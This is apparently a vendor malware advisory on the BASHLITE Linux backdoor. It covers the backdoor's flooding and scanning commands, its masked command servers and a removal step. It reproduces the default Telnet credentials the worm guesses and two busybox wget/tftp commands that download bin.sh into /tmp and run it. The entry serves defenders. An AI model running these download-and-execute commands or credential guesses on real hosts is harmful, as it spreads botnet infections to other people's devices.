ELF_BASHLITE.J
Linux/Agent.AL (ESET)
Linux, UNIX
Threat Type: Backdoor
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Downloaded from the Internet
This backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes commands from a remote malicious user, effectively compromising the affected system.
TECHNICAL DETAILS
Varies
ELF
Yes
13 Oct 2014
Executes files
Arrival Details
This backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
This malware arrives via the following means:
Backdoor Routine
This backdoor executes the following commands from a remote malicious user:
- GETLOCALIP - Get local IP address
- SCANNER ON - Start Telnet scanner
- SCANNER OFF - Stop Telnet scanner
- HOLD - Pause or delay attack for specifiied duration
- BOTKILL - Terminate a process by process name
- UDP - Perform UDP flooding
- TCP - Perform TCP flooding
- KILLATTK - Terminate attack thread
- LOLNOGTFO - Terminate itself
- DNS
- JUNK
- GETFLOOD
- PING
It connects to the following URL(s) to send and receive commands from a remote malicious user:
- {BLOCKED}3.{BLOCKED}4.93.52:300
- {BLOCKED}3.{BLOCKED}4.93.52:1000
NOTES:
If the command SCANNER ON is received, the Telnet forked process will attempt to connect to port 23 of randomly generated IP address to check it can remotely login using Telnet. Once a connection is successful, it attempts to log into the remote computer using the following credentials:
User names:
- root
- admin
- support
Passwords:
- root
- admin
- 12345
- pass
- password
- support
- toor
- 123456
If it was able to successfully log into the system, it sends the following commands to download and execute a file in the remote computer:
- cd /tmp; busybox wget http://{BLOCKED}9.{BLOCKED}3.37.115/.{BLOCKED}ggers/bin.sh; busybox tftp -r bin.sh -g {BLOCKED}9.{BLOCKED}3.37.115;sh bin.sh; echo -e '\x62\x69\x6e\x66\x61\x67\x74'
- cd /tmp/; busybox wget http://{BLOCKED}6.{BLOCKED}0.250.37/.{BLOCKED}ggers/bin2.sh; busybox tftp -r bin2.sh -g {BLOCKED}6.{BLOCKED}0.250.37; sh bin2.sh; echo -e '\x62\x69\x6e\x66\x61\x67\x74'
SOLUTION
9.700
11.208.06
13 Oct 2014
Restart in normal mode and scan your computer with your Trend Micro product for files detected as ELF_BASHLITE.J. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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